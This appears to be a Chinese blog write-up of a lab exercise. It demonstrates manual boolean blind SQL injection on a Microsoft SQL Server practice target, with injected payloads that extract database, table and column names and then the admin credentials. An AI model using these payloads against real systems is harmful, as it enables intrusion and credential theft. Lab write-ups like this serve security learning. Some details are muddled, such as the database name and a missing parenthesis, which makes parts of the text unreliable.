Microsoft SQL Server⼿注之布尔型盲注

(案例所用环境为墨者学院 SQL Server靶场)

基本流程:

  1.判断是否存在注⼊

  2.猜测数据库名

    (在这之前应该还有一个猜数据库名长度的步骤)

    语句:and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109)

       and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,2,1))=111)

       ................

       and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=111 and name not in ('mozhe_db_v2.dbo.sysobjects'))   //重复操作可得出数据库名称为mozhe_db_v2.dbo.sysobjects

    说明:Exists + 子查询”用来判断该子查询是否返回记录,返回TRUE or FALSE。

       unicode()等于mysql中的ASCII()函数,将参数转为ASCII十进制码

       substring()等于MySQL中的subst()函数,进行字符串截取

       and name not in ('mozhe_db_v2.dbo.sysobjects')) 用于猜解其他数据库名

  3.猜解表名

    语句:and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109)

       .......................................................... //最终得出第一张数据表名为manage

       and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109 and name not in ('manage'))

       说明:and name not in ('manage')用于查询其他表名如password

 

  4.猜解列名

   (在这之前应该还有一个猜数列名长度的步骤)

    语句:and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=117)

       and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=115)

       ..............................//重复可得出数据库名为username

  5.逐字猜解数据 

    语句:and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)

       ...............................//最后得到的username值是:admin_mz

       and exists(select id from manage where unicode(substring(password,1,1))=55 and ID=1 //猜解password列

     说明:最后得到的password值是:72e1bfc3f01b7583(MD5)  解码为 97285101 

 

posted @ 2021-04-12 22:39  小雷啊  阅读(760)  评论(0)    收藏  举报